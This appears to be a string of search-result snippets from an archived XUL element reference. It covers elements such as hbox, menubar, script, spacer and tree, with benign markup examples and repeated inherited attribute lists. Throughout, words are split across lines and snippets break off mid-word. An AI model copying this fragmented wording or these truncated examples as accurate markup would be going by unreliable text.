extnode triple where script commandset command broadcaster broadcasterset observes key keyset stringbundle stringbundleset arrowscrollbox dropmarker grippy scrollbar scrollcorner spinbuttons all attributes all properties all methods attributes defined for all xul elements style classes event handlers deprecated/defunct markup ...
binding - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] should be contained within a bindings element.
... properties object, predicate, subject
examples fixme: (
example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sor...
...tresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties object type: string the object of the element.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, ...
bindings - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] used to specify a set of variable bindings for a rule.
...
examples (
example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortreso...
...urce2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width object type: string the object of the element.
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition...
columns - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] defines the columns of a grid.
...
example see grid for an
example.
... attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxhei...
...ght, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize()...
dropmarker - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] a dropmarker is a button with an arrow which will reveal more details when pressed.
...
examples properties accessibletype attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, toolti...
...pt
ext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfe...
groupbox - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] the groupbox is used to group related elements together.
... properties accessibletype
examples <groupbox> <caption label="settings"/> <radiogroup> <radio label="black and white"/> <radio label="colour"/> </radiogroup> <checkbox label="enabled"/> </groupbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize...
..., flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfe...
hbox - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] a container element which can contain any number of child elements.
... this is equivalent to the box element,
except it defaults to horizontal orientation.
...
example <!-- two button on the right --> <hbox> <spacer fl
ex="1"/> <button label="connect"/> <button label="ping"/> </hbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties inherited propertie...
...s align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasatt...
image - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] summary an element that displays an image, much like the html img element.
... attributes onerror, onload, src, validate properties accessibletype, src style classes alert-icon, error-icon, message-icon, question-icon
examples <image src='firefoxlogo.png' width='135' height='130'/> attributes onerror type: script code this event is sent to an image element when an error occurs loading the image.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition...
...this typically looks like an
exclamation mark.
listcol - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] a column in a listbox.
... you can make some columns fl
exible and other columns non-fl
exible.
...
examples
example <!-- a two column listbox with one column fl
exible --> <listbox> <listhead> <listheader label="first"/> <listheader label="last"/> </listhead> <listcols> <listcol fl
ex="1"/> <listcol/> </listcols> <listitem> <listcell label="buck"/> <listcell label="rogers"/> </listitem> <listitem> <listcell label="john"/> <listcell label="painter"/> </listitem> </listbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, ...
...persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(...
menubar - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] a container that usually contains menu elements.
... attributes grippyhidden, statusbar properties accessibletype, statusbar
examples <menubar id="sample-menubar"> <menu id="action-menu" label="action"> <menupopup id="action-popup"> <menuitem label="new"/> <menuitem label="save" disabled="true"/> <menuitem label="close"/> <menuseparator/> <menuitem label="quit"/> </menupopup> </menu> <menu id="edit-menu" label="edit"> <menupopup id="edit-popup"> <menuitem label="undo"/> <menuite...
... statusbar type: id if you set this attribute to the id of a statusbar element, the label on the statusbar will update to the statust
ext of the items on the menu as the user moves the mouse over them.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), g...
observes - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] the observes element can be used to listen to a broadcaster and receive events and attributes from it.
... attributes attribute, element
examples (
example needed) attributes attribute type: attribute name the attribute that the observer is observing.
... inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait...
...-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), g...
param - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] for sql templates, used to bind values to parameters specified within an sql statement.
... the value to bind should be t
ext as a child of the param element.
... attributes ind
ex, name, type attributes ind
ex type: integer the ind
ex within the sql statement of the parameter.
... type type: one of the values below the type of the parameter's value integer 32 bit integer int64 64 bit integer double double-precision floating-point number string string literal, the default value properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition...
row - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] a single row in a rows element.
...
example see grid for an
example.
... attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxhei...
...ght, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize()...
rows - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] defines the rows of a grid.
...
example see grid for an
example.
... attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxhei...
...ght, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize()...
script - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] much like the html script element, this is used to declare a script to be used by the xul window.
... attributes src, type
examples <script src="test.js"/> <script src="http://
example.com/js/test.js"/> <script> function foo(){ // code } </script> attributes src type: uri the uri of the script.
... inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait...
...-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), g...
spacer - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] an element that takes up space but does not display anything.
...if you don't specify that the spacer has a size or is fl
exible, the spacer does not occupy any space.
...
examples <box> <button label="left"/> <spacer fl
ex="1"/> <button label="right"/> </box> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfea...
spinbuttons - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] spin buttons are two arrows, one to increase a value and one to decrease a value.
... for instance, spinbuttons are used for the number type t
extbox, and with the timepicker and datepicker.
... attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxhei...
...ght, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize()...
statusbar - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] an element used to create a status bar, usually placed along the bottom of a window.
... properties accessibletype
examples <statusbar> <statusbarpanel label="left panel"/> <spacer fl
ex="1"/> <progressmeter mode="determined" value="82"/> <statusbarpanel label="right panel"/> </statusbar> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, so...
...rtresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeat...
template - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] used to declare a template for rule-based construction of elements.
... attributes container, member
examples (
example needed) attributes container type: string may optionally be set to the variable to use as the container or reference variable.
... inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait...
...-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), g...
toolbarpalette - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] firefox only the item is a palette of available toolbar items.
...
examples <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="toolbarpalette-button" class="toolbarbutton-class" label="&mylabel;" tooltipt
ext="&mytipt
ext;" oncommand="somefunction()"/> </toolbarpalette> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearc...
...s, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resour...
...ce, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), ...
toolbarseparator - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] creates a separator between groups of toolbar items.
... properties accessibletype
examples <toolbox> <toolbar> <toolbarbutton label="button 1"/> <toolbarseparator /> <toolbarbutton label="button 2"/> </toolbar> </toolbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, stat...
...ust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeatu...
treechildren - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] this element is the body of the tree.
... inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait...
...-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), g...
...ributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata
example <tree fl
ex="1"> <treecols> <treecol id="sender" label="sender" fl
ex="1"/> <treecol id="subject" label="subject" fl
ex="2"/> </treecols> <treechildren> <treeitem> <treerow> <treecell label="joe@somewhere.com"/> <treecell label="top secret plans"/> </treerow> </treeitem> <treeitem> <treerow> <treecell label="mel@whereever.co...
treecols - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] a group of treecol elements.
... attributes pickertooltipt
ext properties accessibletype
examples (
example needed) attributes pickertooltipt
ext type: string the t
ext for the tooltip on the column picker.
... inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, cont
ext, cont
extmenu, datasources, dir, empty, equalsize, flags, fl
ex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statust
ext, style, template, tooltip, tooltipt
ext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element.
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, cont
extmenu, controllers, database, datasources, dir, , , fl
ex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statust
ext, style, ,, tooltip, tooltipt
ext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfe...
treerow - Archive of obsolete content
« xul reference home [
examples | attributes | properties | methods | related ] a single row in a tree.
... attributes properties
examples (
example needed) attributes properties type: space-separated list of property names sets the properties of the element, which can be used to style the element.
